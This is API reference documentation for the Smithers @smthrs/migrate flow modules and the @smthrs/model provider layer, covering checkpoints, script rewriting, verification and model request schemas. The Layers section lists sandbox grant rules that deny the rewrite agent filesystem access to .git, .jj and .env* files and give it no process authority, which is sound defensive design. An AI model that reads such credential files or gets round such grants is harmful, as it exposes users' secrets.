`MigrateFlow.postconditions` asks, after the archive, whether the project is in the state this kind of unit exists to produce. The content checks read the files a unit changed, so a unit that changed nothing passes all of them and used to be recorded as migrated on that basis. There is one set per kind, and a file a check needs has to be there: a workflow unit wrote the flow it was planned for; a dependencies or project unit's manifests still exist and pin `effect`; a project unit's manifests also declare no 0.x package in any of the six dependency fields, a check the dependencies unit is never asked for because the units that run after it still import the 0.x facade, its tsconfigs still exist and configure no retired Smithers JSX runtime, and its root `.gitignore` exists and covers `.flows/` (the project unit owns it, as a source when the project has one and as a target it creates when it does not); an integration unit's sources still exist and no longer import the 0.x facade.

The final tree is then verified as the final tree. `Verify.run` runs again over it, install, format, every typecheck, the tests, and registry discovery, and its result is the verification the unit report records; the whole-tree confinement check and the run-state check run again after it, because the archive and the verification both ran commands, and a file the unit owns under a run-state root (`.smithers/smithers.config.ts` beside `.smithers/smithers.db`) is the unit's to archive and is left out of the run-state comparison. Only then is the unit `migrated`; any failure restores it.

Each unit writes its outcome to `<reportDir>/units/<readable id>-<16 hex of sha256(id)>.json`, so two ids that read alike (`workflow:a/b`, `workflow:a-b`) never share a file, and the artifact carries the id inside. `WriteReport` reads one artifact per planned unit, refuses one that cannot be decoded or was written for a different unit, and records a unit with no artifact as `failed` with a `no recorded outcome` entry, so an apply that lost a unit exits 1 rather than 0.

`Command.run` surveys and launches the migration; the CLI verb and `smithers-migrate` bin reach it through `Command.runNode`. That bundled Node composition uses an in-memory engine with filesystem checkpoint recovery. An application-owned durable host can compose `Command.registration` with the required services and invoke `Command.launch(options, surveyed)` to retain the enriched payload, plan seal, and apply lock. Registration does not install a `smthrs flow start system/migrate` route; `Command.flowId` is an integration label for hosts that expose their own route.

## Flow module exports

These modules are reached by subpath only, as `@smthrs/migrate/flow/<Module>`.
They need the optional `@smthrs/*` dependencies a default install brings.

### Checkpoint

`@smthrs/migrate/flow/Checkpoint`. What a unit can be put back from.

| Export                      | Signature                                                                            | What it is                                                                  |
| --------------------------- | ------------------------------------------------------------------------------------ | --------------------------------------------------------------------------- |
| `action`                    | `Action.Declared<"smithers/migrate-v1/Checkpoint", ...>`                             | The step the flow calls.                                                    |
| `layer`                     | `Layer`                                                                              | Its implementation.                                                         |
| `Ref`                       | `Schema.Struct`                                                                      | One checkpoint: vcs, ref, restore command, and the manifest.                |
| `Vcs`                       | `Schema.Literals(["jj", "git", "none"])`                                             | What was available to check point with.                                     |
| `take`                      | `(payload) => Effect<Ref, MigrateError, ...>`                                        | Takes one.                                                                  |
| `detectVcs`                 | `(root: string) => Effect<Vcs, PlatformError, FileSystem \| Path>`                   | Which of the three this project has.                                        |
| `digest`                    | `(root: string, roots: ReadonlyArray<string>) => Effect<..., MigrateError, ...>`     | A digest per run-state path.                                                |
| `carveRoots`                | `(root: string, roots: ReadonlyArray<string>, keep?: string) => Effect<...>`         | The run-state roots with the 1.0 flows directory carved out.                |
| `tree`                      | `(root: string, exclude?: ReadonlyArray<string>) => Effect<Tree, MigrateError, ...>` | The whole-tree manifest.                                                    |
| `treeDiff`                  | `(root: string, ref: Ref) => Effect<ReadonlyArray<ChangedFile>, MigrateError, ...>`  | What changed since. The unit report's changed files.                        |
| `sources`                   | `(ref: Ref) => Effect<ReadonlyMap<string, string>, MigrateError, ...>`               | The unit's files as the checkpoint recorded them.                           |
| `diff`                      | `(root, ref, touched) => Effect<ReadonlyArray<ChangedFile>, MigrateError, ...>`      | The same comparison over named paths.                                       |
| `restore`                   | `(root, ref, touched) => Effect<ReadonlyArray<string>, MigrateError, ...>`           | Puts named files back byte for byte.                                        |
| `rollback`                  | `(root, ref, options?) => Effect<Rollback, MigrateError, ...>`                       | Reads the tree now, restores everything recorded, removes everything added. |
| `recordRollback`            | `(backupDir, ref, rollback) => Effect<void, MigrateError, ...>`                      | Records a rollback beside the backup.                                       |
| `clearPending`              | `(backupDir, ref) => Effect<void, MigrateError, ...>`                                | Clears the pending marker after a unit settles.                             |
| `toReport`                  | `(ref: Ref) => Report.Checkpoint`                                                    | The report's checkpoint row, restore command included.                      |
| `unwalked`                  | `[".git", ".jj", "node_modules"]`                                                    | What the tree manifest never walks.                                         |
| `generated`                 | `["bun.lock", "bun.lockb", "package-lock.json", "pnpm-lock.yaml", "yarn.lock"]`      | The root lockfiles an install may rewrite without declaring them.           |
| `Entry`, `Tree`, `Rollback` | `interface`                                                                          | The manifest entry, the tree, and one rollback's account.                   |

### Transform

`@smthrs/migrate/flow/Transform`. The model-backed rewrite and the host it runs
inside.

| Export                      | Signature                                                                           | What it is                                                                      |
| --------------------------- | ----------------------------------------------------------------------------------- | ------------------------------------------------------------------------------- |
| `action`                    | `AgentAction.AgentAction<"smithers/migrate-v1/Transform", ...>`                     | The rewrite step.                                                               |
| `layer`                     | `Layer`                                                                             | Its implementation.                                                             |
| `captureAction`             | `Action.Declared<"smithers/migrate-v1/Capture", ...>`                               | The step that reads a unit's sources at its checkpoint.                         |
| `captureLayer`              | `Layer`                                                                             | Its implementation.                                                             |
| `outline`                   | `(result, unit, options, expectFlows?) => UnitOutline`                              | One unit as the flow's payload carries it.                                      |
| `capture`                   | `(outlined, checkpoint, current?) => Effect<Contract.UnitBrief, MigrateError, ...>` | The brief built from captured source.                                           |
| `UnitOutline`, `UnitResult` | `Schema.Struct`                                                                     | What a unit is asked to do, and what it answered.                               |
| `runStatePaths`             | `(result: Scan.ScanResult) => ReadonlyArray<string>`                                | The paths the grant rules deny.                                                 |
| `approvedPackages`          | `ReadonlyArray<string>`                                                             | The only packages a rewrite may install.                                        |
| `seat`                      | `"migrate"`                                                                         | The declared seat. No model id is hard coded anywhere.                          |
| `maxFrames`                 | `60`                                                                                | The frame cap for one unit's rewrite.                                           |
| `limits`                    | `Sandbox.Limits`                                                                    | The sandbox budget it runs under.                                               |
| `envelope`                  | `() => ReadonlyArray<string>`                                                       | The capability envelope the bound flows need.                                   |
| `bindings`, `hostLayer`     | `(options) => ...`                                                                  | The flows the rewrite may call, and the judged host that binds them with `jev`. |
| `mappingFlow`               | `CoreFlow.Flow`                                                                     | The mapping lookup the rewrite reaches.                                         |

### Repair

`@smthrs/migrate/flow/Repair`. One failing verification round, handed back with
the failing output.

| Export   | Signature                                                    | What it is          |
| -------- | ------------------------------------------------------------ | ------------------- |
| `action` | `AgentAction.AgentAction<"smithers/migrate-v1/Repair", ...>` | The repair step.    |
| `layer`  | `Layer`                                                      | Its implementation. |

### Verify

`@smthrs/migrate/flow/Verify`. Install, format, typecheck, tests, and registry
discovery.

| Export             | Signature                                                      | What it is                                   |
| ------------------ | -------------------------------------------------------------- | -------------------------------------------- |
| `action`           | `Action.Declared<"smithers/migrate-v1/Verify", ...>`           | The verification step.                       |
| `layer`            | `Layer`                                                        | Its implementation.                          |
| `run`              | `(payload) => Effect<VerificationResult, MigrateError, ...>`   | Runs the commands and captures their output. |
| `verdict`          | `(result: Report.VerificationResult) => "pass" \| "fail"`      | The one-word answer.                         |
| `failures`         | `(result: Report.VerificationResult) => ReadonlyArray<string>` | The commands and checks that did not pass.   |
| `Budgets`          | `interface`                                                    | The time each kind of command is given.      |
| `installTimeoutMs` | `number`                                                       | The install ceiling.                         |
| `commandTimeoutMs` | `number`                                                       | The ceiling for every other command.         |

### Archive

`@smthrs/migrate/flow/Archive`. Replaced sources moved aside; kept files
rewritten where they are.

Script rewriting recognizes literal `smithers`/`smthrs` commands, the old local
`node_modules/.bin` path, and common `bunx`, `npx`, `pnpm exec`/`dlx` wrappers
(including literal package versions/tags such as `smthrs@0.35.0`).
The result uses the installed `smthrs` binary from `@smthrs/cli`. Both `up` and
`workflow run` become `flow start`; root `run` is a different target command.

- `--input` becomes `--data`, including `--input=<value>`. Quoted values are
  preserved; a literal value must be a JSON object. An explicit input variable
  such as `--input "$INPUT"` stays a shell expansion and is checked by the CLI
  when run, never evaluated by migration.
- Bare `-d` becomes `--detached`. The legacy `-d '<JSON object>'` input form
  becomes `--data`; ambiguous dynamic/value forms require manual review.
- `--json`, `--quiet`, root/remote/credential/MCP configuration, and explicit
  `--detached` are preserved. An explicit `--backend sqlite` is removed because
  this runtime is SQLite-only; other backends are refused. Remote plus detached
  is refused because detach starts a local executor.
- Quoting, literal environment assignments, `exec`/`env`, comments, and simple
  command lists/pipelines are recognized. Text inside another command's quoted
  arguments is not rewritten as though it were a command.
- Unsupported flags, duplicate input flags, missing/dynamic workflow paths,
  shell control grammar, command substitutions, or redirections leave the
  **entire original script unchanged** with an `unsupportedScripts` entry.
  Fix that entry before claiming the migration complete. Other old command
  families require their own mapping; the report does not pretend their names
  necessarily have no 1.0 equivalent.

An inventory hit is `automatic` only when its captured invocation produces a
checked rewrite. Missing or unsupported command text becomes `guided`; `ps`
and `cancel` currently have guided canonical targets, not automatic rewrites.

This is a POSIX simple-command rewrite, not a general shell interpreter or a
Windows `cmd.exe` translator. It never runs the source script. Migrating a
command proves neither its workflow's implementation nor the host's execution
capabilities; an attached module flow still needs a host that registers and
drives its implementation.

| Export                                                  | Signature                                                                                                     | What it is                                                                                                            |
| ------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------- |
| `action`                                                | `Action.Declared<"smithers/migrate-v1/Archive", ...>`                                                         | The archive step.                                                                                                     |
| `layer`                                                 | `Layer`                                                                                                       | Its implementation.                                                                                                   |
| `run`                                                   | `(payload) => Effect<Result, MigrateError, ...>`                                                              | Two phases: every copy written before any source is removed.                                                          |
| `Result`                                                | `Schema.Struct`                                                                                               | What moved, what was rewritten, and what was reported instead.                                                        |
| `rewriteManifest`                                       | `(text: string, rewrite: ManifestRewrite) => { ... }`                                                         | Old packages out, `effect` pinned, scripts rewritten.                                                                 |
| `rewriteScripts`                                        | `(scripts: Readonly<Record<string, string>>) => ReadonlyArray<ScriptRewrite>`                                 | `smithers up <file>` becomes `smthrs flow start <flow>` with translated flags. Unsafe mappings are left and reported. |
| `rewriteTsconfig`                                       | `(text: string, specifiers?: SpecifierContext) => string`                                                     | Retired Smithers JSX settings and old path mappings removed; untouched configs preserved byte for byte.               |
| `rewriteGitignore`                                      | `(text: string, flowsState?: string) => string`                                                               | `.flows/` ignored.                                                                                                    |
| `rewritten`                                             | `(file, text, specifiers?, kind?) => { ... }`                                                                 | The rewrite for one kept file.                                                                                        |
| `isRewritable`                                          | `(file: string) => boolean`                                                                                   | Whether a file is rewritten in place rather than moved.                                                               |
| `isOldPathsKey`                                         | `(key: string, specifiers?: SpecifierContext) => boolean`                                                     | Whether a tsconfig path mapping is a 0.x one.                                                                         |
| `isOldJsxImportSource`                                  | `(source: unknown, specifiers?: SpecifierContext) => boolean`                                                 | Whether a JSX import source identifies a retired Smithers runtime.                                                    |
| `withoutComments`                                       | `(text: string) => string`                                                                                    | JSONC without its comments, for parsing.                                                                              |
| `pinFor`                                                | `(name: string) => string \| undefined`                                                                       | The version this release pins a package to.                                                                           |
| `dependencyFields`                                      | `["dependencies", "devDependencies", "peerDependencies", "optionalDependencies", "overrides", "resolutions"]` | The six fields a postcondition checks.                                                                                |
| `effectVersion`                                         | `"4.0.5"`                                                                                                     | The `effect` version this release was built against.                                                                  |
| `smithersVersion`                                       | the package's own version                                                                                     | The `@smthrs/*` version it adds: the release that ran the migration.                                                  |
| `ManifestRewrite`, `ScriptRewrite`, `UnsupportedScript` | `interface` or `Schema.Struct`                                                                                | The rewrite inputs and what could not be rewritten.                                                                   |

### MigrateFlow

`@smthrs/migrate/flow/MigrateFlow`. The graph, its actions, and every
implementation.

| Export                                                                                        | Signature                                                                                                    | What it is                                                                                                                                                             |
| --------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `flow`                                                                                        | `Flow.Flow<"smithers/migrate-v1", ...>`                                                                      | The whole migration.                                                                                                                                                   |
| `unit`                                                                                        | `Flow.Flow<"smithers/migrate-v1/unit", ...>`                                                                 | One unit, as a child execution.                                                                                                                                        |
| `layer`                                                                                       | `Layer`                                                                                                      | Every action implementation the two flows need.                                                                                                                        |
| `tag`, `unitTag`                                                                              | `"smithers/migrate-v1"`, `"smithers/migrate-v1/unit"`                                                        | Their tags.                                                                                                                                                            |
| `scan`                                                                                        | `(options: MigrateOptions) => Effect<ScanResult, MigrateError, ...>`                                         | The flow's own scan, layout checks included.                                                                                                                           |
| `outlines`                                                                                    | `(result, options) => ReadonlyArray<Transform.UnitOutline>`                                                  | The units as the payload carries them.                                                                                                                                 |
| `runStateRoots`                                                                               | `(result: ScanResult) => ReadonlyArray<string>`                                                              | The directories the grant rules deny.                                                                                                                                  |
| `layoutConflict`                                                                              | `(result, options) => string \| undefined`                                                                   | A report or flows directory that sits under a run-state root.                                                                                                          |
| `planSeal`, `PlanSeal`, `sealDifferences`                                                     | `(result, options) => Effect<PlanSeal, ...>`, `Schema.Struct`, `(planned, current) => ReadonlyArray<string>` | The plan's digest, and what changed since.                                                                                                                             |
| `postconditions`                                                                              | `(root, outline) => Effect<ReadonlyArray<CheckResult>, MigrateError, ...>`                                   | Whether the tree is what this kind of unit exists to produce.                                                                                                          |
| `UnitOutcome`                                                                                 | `Schema.Struct`                                                                                              | One unit's recorded result.                                                                                                                                            |
| `unitArtifact`                                                                                | `(options: MigrateOptions, id: string) => string`                                                            | Where that result is written.                                                                                                                                          |
| `readUnitReport`                                                                              | `(options, id) => Effect<UnitOutcome \| undefined, MigrateError, ...>`                                       | Reads one back, refusing an artifact written for another unit.                                                                                                         |
| `scanAction`, `gateAction`, `sealAction`, `finishAction`, `settleAction`, `writeReportAction` | `Action.Declared<...>`                                                                                       | The flow's own steps.                                                                                                                                                  |
| `scanLayer`, `gateLayer`, `sealLayer`, `finishLayer`, `settleLayer`, `writeReportLayer`       | `Layer`                                                                                                      | Their implementations.                                                                                                                                                 |
| `seal`, `finish`, `settle`, `writeReport`                                                     | `(payload) => Effect<...>`                                                                                   | The same work as plain functions.                                                                                                                                      |
| `validateSeal`                                                                                | `(payload) => Effect<{ root, digest }, MigrateError, FileSystem \| Path>`                                    | Reads and checks the approved seal without changing artifacts. `Command.launch` uses it before creating lock state; the flow repeats the check while holding the lock. |
| `Requires`, `UnitRequires`                                                                    | `type`                                                                                                       | The action requirements each flow carries.                                                                                                                             |

### Layers

`@smthrs/migrate/flow/Layers`. The Node composition, its grant rules, and a
scripted composition to test a migration against.

| Export                                                              | Signature                                                        | What it is                                                                                                                                            |
| ------------------------------------------------------------------- | ---------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- |
| `layerNode`                                                         | `(config: NodeConfig) => Layer`                                  | Everything a migration needs on Node.                                                                                                                 |
| `layerNodeScanned`                                                  | `(config: ScannedConfig) => Layer`                               | The same, deriving the grant rules and commands from a scan.                                                                                          |
| `layerScripted`                                                     | `(config) => Layer`                                              | The same composition with a scripted model, for tests.                                                                                                |
| `layerSnapshotBoundary`                                             | `Layer<FlowEngine.SnapshotBoundary>`                             | The engine's snapshot boundary.                                                                                                                       |
| `rules`                                                             | `(options) => ...`                                               | The grant rules: `fs:*` denied on run state, the report directory, and every case spelling of `.git`, `.jj`, and `.env*`; no agent process authority. |
| `commandsFor`                                                       | `(detection, overrides?, flowsDir?) => Contract.Commands`        | One derivation for the host, the prompt, and the grants.                                                                                              |
| `verificationCommands`                                              | `(commands: Contract.Commands) => ReadonlyArray<string>`         | Those commands as the lines a grant names.                                                                                                            |
| `seatResolver`                                                      | `(options) => SeatResolver.Service`                              | Maps the declared seat onto `provider:model` and reads that provider's key.                                                                           |
| `configuredProvider`                                                | `(environment) => string \| undefined`                           | The provider whose key is present, and nothing about which model.                                                                                     |
| `apiKeyVariable`                                                    | `{ anthropic, openai, openrouter }`                              | Which variable carries each provider's key.                                                                                                           |
| `migrationRoot`                                                     | `(root: string) => Effect<MigrationRoot, MigrateError>`          | The branded absolute root every service is pinned to.                                                                                                 |
| `scriptedModel`, `done`                                             | `(script: Script) => Model.Model`, `(output: unknown) => string` | The test model and the cell that answers with a value.                                                                                                |
| `NodeConfig`, `ScannedConfig`, `Script`, `Runtime`, `MigrationRoot` | `interface` or `type`                                            | The composition's inputs and its runtime type.                                                                                                        |

`rules` grants process commands only when the capability pattern grammar can
represent the complete line literally. Lines containing `*` or `?` receive no
agent process grant; deterministic verification still runs them as configured.
Use a package script such as `npm run test` to make those commands available to
the agent. Composition completeness assertions are compile-time tests and are
not exported by this subpath.

### Command

`@smthrs/migrate/flow/Command`. The entry point the CLI verb, the bin, and a
durable host share.

| Export                                              | Signature                                                                            | What it is                                                                                                |
| --------------------------------------------------- | ------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------------------- |
| `run`                                               | `(options: MigrateOptions) => Effect<MigrationReport, MigrateError, Requirements>`   | Survey, then launch.                                                                                      |
| `runNode`                                           | `(options, config?) => Effect<MigrationReport, MigrateError>`                        | The same, on the bundled Node composition.                                                                |
| `survey`                                            | `(options) => Effect<Survey, MigrateError, FileSystem \| Path>`                      | Reads the project without touching it.                                                                    |
| `launch`                                            | `(options, surveyed: Survey) => Effect<MigrationReport, MigrateError, Requirements>` | Executes the flow over a survey taken earlier.                                                            |
| `layerNode`                                         | `(config) => Layer`                                                                  | The composition `runNode` provides.                                                                       |
| `registration`                                      | `typeof MigrateFlow.layer`                                                           | Action implementations and flow registrations; launch through `Command.launch` to acquire the apply lock. |
| `optionsOf`                                         | `(flags: Flags, cwd: string, environment?) => MigrateOptions`                        | Parsed flags as the flow's payload. `--scan` wins over `--apply`.                                         |
| `commandsOf`                                        | `(result: ScanResult, options) => Contract.Commands`                                 | The verification commands this project implies.                                                           |
| `render`                                            | `(report, format: "human" \| "json", reportDirectory?) => string`                    | The summary, or the whole document.                                                                       |
| `exitCode`                                          | `(report: MigrationReport) => 0 \| 1 \| 3`                                           | The process status the report implies.                                                                    |
| `reportDirectory`                                   | `(options: MigrateOptions) => string`                                                | Where this run wrote its report.                                                                          |
| `executionId`                                       | `(options: MigrateOptions, generatedAt: string) => string`                           | The execution id one invocation takes.                                                                    |
| `isMigrateError`                                    | `(error: unknown) => error is MigrateError`                                          | Decided by the class and its schema, never by a `_tag` string.                                            |
| `flowId`                                            | `"system/migrate"`                                                                   | Integration label for an application-owned control-plane route.                                           |
| `Survey`, `Flags`, `Requirements`, `MigrateOptions` | `interface` or `type`                                                                | The survey, the parsed flags, the services a run needs, and the payload.                                  |

### Cli

`@smthrs/migrate/flow/Cli`. The `smithers-migrate` command itself.

| Export    | Signature                             | What it is                                                               |
| --------- | ------------------------------------- | ------------------------------------------------------------------------ |
| `command` | `Command.Command<"smithers-migrate">` | The flags and the handler, runnable in process.                          |
| `main`    | `Effect<void, CliError, never>`       | The executable's entry point: the whole of what `smithers-migrate` runs. |
| `version` | `"1.0.0-rc.0"`                        | What `--version` prints and every report records as its tool version.    |

---

# @smthrs/model
https://smithers.sh/docs/reference/api/model/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/agent/model/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/model/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/agent/model/docs)

> **Related APIs:** [`@smthrs/canonical`](/docs/reference/api/canonical/) · [`@smthrs/capability`](/docs/reference/api/capability/) · [`@smthrs/core`](/docs/reference/api/core/) · [`@smthrs/flow`](/docs/reference/api/flow/) · [`@smthrs/journal`](/docs/reference/api/journal/) · [`@smthrs/kernel`](/docs/reference/api/kernel/)

A model call is one composition: a `Protocol` owns the wire shape of an API
family, an `Endpoint` owns where to send it, an `Auth` owns the credential,
and a `Framing` owns how bytes become frames. `Route` combines the four, and
`Route.layer` provides the result as the `Model` service.

```ts
import { Model, ModelEvent, ModelRequest, RequestExecutor, Route } from "@smthrs/model"
import { Effect, Layer, Redacted, Result, Stream } from "effect"

const route = Result.getOrThrow(
  Route.anthropic({ apiKey: Redacted.make(process.env["ANTHROPIC_API_KEY"] ?? "") })
)

const request = ModelRequest.ModelRequest.make({
  modelId: "claude-sonnet-4-5",
  system: [],
  messages: [ModelRequest.Message.user("Say hello in one sentence.")],
  tools: [],
  params: ModelRequest.GenerationParams.make({ maxTokens: 256 })
})

const program = Effect.gen(function*() {
  const model = yield* Model.Model
  const events = yield* Stream.runCollect(model.stream(request))
  return ModelEvent.settledMessage(events)
})

const modelLayer = Route.layer(route).pipe(Layer.provide(RequestExecutor.layer))
```

The composed layer still requires the kernel `HttpClient` service, which the
host provides; see the [kernel API](/docs/reference/api/kernel/) for that contract.

## Built-in routes

| Constructor                       | Protocol                          | URL it builds                                     |
| --------------------------------- | --------------------------------- | ------------------------------------------------- |
| `Route.anthropic`                 | Anthropic Messages                | `https://api.anthropic.com/v1/messages`           |
| `Route.openai`                    | OpenAI Responses                  | `https://api.openai.com/v1/responses`             |
| `Route.openaiResponsesCompatible` | OpenAI Responses                  | `<baseUrl>/v1/responses`                          |
| `Route.openaiChatCompatible`      | OpenAI Chat Completions           | `<baseUrl>/v1/chat/completions`                   |
| `OpenAIChatGPT.make`              | OpenAI Responses, ChatGPT backend | `https://chatgpt.com/backend-api/codex/responses` |

Both compatible constructors take the provider origin as `baseUrl` and append
the rest themselves, so one origin cannot produce two different URLs. A
trailing slash on `baseUrl` is accepted. `Route.openaiChatCompatible` also
accepts a `path` override for providers whose compatible endpoint lives
elsewhere, such as Gemini's `/v1beta/openai/chat/completions`.

Responses and Chat Completions are different wire shapes, not two names for
one. `api.openai.com` serves Responses. Ollama, Gemini's compatibility layer,
Cerebras, OpenRouter's chat route, and most other self-hosted or third-party
"OpenAI-compatible" servers serve Chat Completions.

## `Model`

The one provider seam: a request in, a stream of events out. A flow, a
harness, or a test swaps the implementation without knowing which protocol,
endpoint, or credential answers the call.

| Export                                  | Kind                      | Behavior                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
| --------------------------------------- | ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `Model`                                 | service interface and tag | `stream: (request: ModelRequest) => Stream<ModelEvent, ModelFailure>`. Cancellation is fiber interruption, so there is no abort parameter. Tag id `/model/Model`.                                                                                                                                                                                                                                                                                                                                      |
| `ModelFailure`                          | type                      | `ModelError \| PermissionRequired \| PermissionDenied \| GrantStoreError`. The permission classes come from `@smthrs/capability`; see the [capability API](/docs/reference/api/capability/).                                                                                                                                                                                                                                                                                                                           |
| `make(implementation)`                  | constructor               | Builds a `Model` from an implementation of `stream`.                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| `layer(implementation)`                 | layer                     | Provides `Model` from an implementation of `stream`.                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| `makeNoop(overrides?)`                  | constructor               | A `Model` that fails every stream with `ModelError` code `no_route` and message `no model route in this environment`, so an environment with no provider configured reports that rather than hanging. `overrides` replaces individual methods.                                                                                                                                                                                                                                                         |
| `layerNoop(overrides?)`                 | layer                     | Provides `makeNoop`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| `Liveness`                              | reference                 | `Context.Reference<Effect<void>>`, a no-op by default. A route runs it for every chunk of response bytes, including a keep-alive comment or ping frame that decodes to no event. A caller that bounds silence provides its heartbeat here, as `ModelStep` in `@smthrs/agent` does, so a provider that thinks without streaming but keeps its connection alive is not cut off. `ModelProxy` carries it across HTTP: `serve` writes a blank line for it and the client runs it for every chunk it reads. |
| `withGenAiSpan(request, providerName?)` | tracing                   | Wraps a model stream in an OpenTelemetry GenAI client span named `chat <modelId>`, with `gen_ai.operation.name`, `gen_ai.request.model`, `gen_ai.provider.name` when given, the usage tokens and `gen_ai.usage.cost` as they stream in, and `gen_ai.response.finish_reasons`, `gen_ai.response.id` and the [wire timing](#wire-timing) from the settle event. Prompt and response content never reach it, and a failure reaches it as its tag and code alone; see [Span failures](#span-failures).     |

## `ModelRequest`

The serializable, credential-free declaration of one model call. All values
are Effect Schema classes or structs, so a request encodes to plain JSON. The
field declaration order of `ModelRequest` is load-bearing: it is the stable
serialization order a sealed model step keys on.

| Export                 | Kind     | Behavior                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| ---------------------- | -------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `ModelRequest`         | class    | Fields: `modelId`, `system`, `messages`, `tools`, `params`, optional `toolChoice`, optional `cacheKey` (the conversation a provider routes its prefix cache by; OpenAI Responses sends it as `prompt_cache_key`, the ChatGPT backend also as the `session-id` header), optional `cacheBoundary` (how many leading messages the next request repeats unchanged; Anthropic Messages puts its moving cache breakpoint on the last of them, and unset means all of them). `ModelRequest.make(input)` accepts a plain object.                                        |
| `Message`              | union    | `UserMessage \| AssistantMessage \| ToolMessage`, tagged by `role`. Constructors: `Message.user(text \| part \| parts)`, `Message.assistant(content, { stopReason?, responseId?, itemIds? })`, `Message.tool(part \| parts)`.                                                                                                                                                                                                                                                                                                                                   |
| `UserMessage`          | class    | `role: "user"`, `content: TextPart[]`. Text only; tool output enters through a tool message.                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
| `AssistantMessage`     | class    | `role: "assistant"`, `content: AssistantContentPart[]`, `stopReason`, optional `responseId` and `itemIds` (provider item ids a continuation replays).                                                                                                                                                                                                                                                                                                                                                                                                           |
| `ToolMessage`          | class    | `role: "tool"`, `content: ToolResultPart[]`: the results of the calls the previous assistant message asked for.                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
| `TextPart`             | struct   | `{ type: "text", text }`, with `TextPart.make({ text })`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| `ThinkingPart`         | struct   | `{ type: "thinking", text, signature? }`. `signature` is the provider's attestation and must be echoed back unchanged on later requests.                                                                                                                                                                                                                                                                                                                                                                                                                        |
| `ToolCallPart`         | struct   | `{ type: "tool-call", id, name, arguments }`. `arguments` stays JSON text so it survives a round trip byte for byte.                                                                                                                                                                                                                                                                                                                                                                                                                                            |
| `ToolResultPart`       | struct   | `{ type: "tool-result", toolCallId, content, addedToolNames }`. `addedToolNames` names the tools the result made available; it defaults to `[]`.                                                                                                                                                                                                                                                                                                                                                                                                                |
| `SystemPart`           | struct   | One text segment of the system prompt. The prompt is a list so a cache breakpoint can fall between segments.                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
| `ContentPart`          | union    | `TextPart \| ThinkingPart \| ToolCallPart \| ToolResultPart`, tagged by `type`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
| `AssistantContentPart` | union    | `ContentPart` without `ToolResultPart`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| `StopReason`           | literals | `"stop" \| "length" \| "tool-calls" \| "content-filter" \| "error" \| "aborted" \| "unknown"`. `"aborted"` is this layer's own value for an interrupted stream; no provider reports it.                                                                                                                                                                                                                                                                                                                                                                         |
| `ToolDefinition`       | class    | `{ name, description, parameters, deferred?, loader? }`. `parameters` is a JSON Schema object. A lazy (`deferred`) tool is wire metadata only: it may never add prompt text, because that would change the sealed-step key of every request that declares it.                                                                                                                                                                                                                                                                                                   |
| `GenerationParams`     | class    | Optional `maxTokens`, `temperature`, `topP`, `topK`, `stopSequences`, `thinkingBudget`, `reasoningEffort`. An omitted field leaves the provider default in place, except that the Anthropic Messages lowering sends the model's output ceiling from `ModelCatalog.maxOutputTokensFor`, or `max_tokens: 4096` for an unknown model, for an omitted `maxTokens`. A knob a protocol has no wire field for is dropped from the body instead. Anthropic lowers `reasoningEffort` to `output_config.effort` for models with effort control and drops it for the rest. |
| `ReasoningEffort`      | literals | `"none" \| "minimal" \| "low" \| "medium" \| "high" \| "xhigh" \| "max"`. The provider-neutral vocabulary the adapters map onto their own.                                                                                                                                                                                                                                                                                                                                                                                                                      |
| `ToolChoice`           | literal  | Only `"none"`. The built-in encoders express it by omitting `tools` altogether, which is what both provider APIs require.                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| `JsonObject`           | schema   | A plain JSON object. Decoding starts from `Schema.Json`, so class instances such as `Date` and `Map` cannot decode as empty records.                                                                                                                                                                                                                                                                                                                                                                                                                            |

## `ModelEvent`

The normalized events one model call emits. Every protocol lowers its own
wire vocabulary into these, so a consumer reads one stream shape whichever
provider answered.

| Export                                            | Kind       | Behavior                                                                                                                                                                                                                                                                                                                                                                                                                         |
| ------------------------------------------------- | ---------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Usage`                                           | struct     | Optional `inputTokens`, `outputTokens`, `reasoningTokens`, `cachedInputTokens`, `cacheWriteTokens`, `totalTokens`, and `costUsd`, the provider's own USD charge (OpenRouter's `usage.cost`). A missing count is not a zero count.                                                                                                                                                                                                |
| `TextStart` / `TextDelta` / `TextEnd`             | structs    | Open, extend, and close a text part. `id` correlates the events of one part.                                                                                                                                                                                                                                                                                                                                                     |
| `ThinkingStart` / `ThinkingDelta` / `ThinkingEnd` | structs    | The same for a reasoning part. `ThinkingStart.signature` carries the provider's attestation.                                                                                                                                                                                                                                                                                                                                     |
| `ToolCallStart` / `ToolCallDelta` / `ToolCallEnd` | structs    | The same for a tool call. `ToolCallEnd.arguments` repeats the complete argument text when the provider sends it.                                                                                                                                                                                                                                                                                                                 |
| `ToolResult`                                      | struct     | `{ type: "tool-result", id, output, isError? }`: a harness report, not part of the settled message.                                                                                                                                                                                                                                                                                                                              |
| `UsageEvent`                                      | struct     | `Usage` counters as a `type: "usage"` stream event.                                                                                                                                                                                                                                                                                                                                                                              |
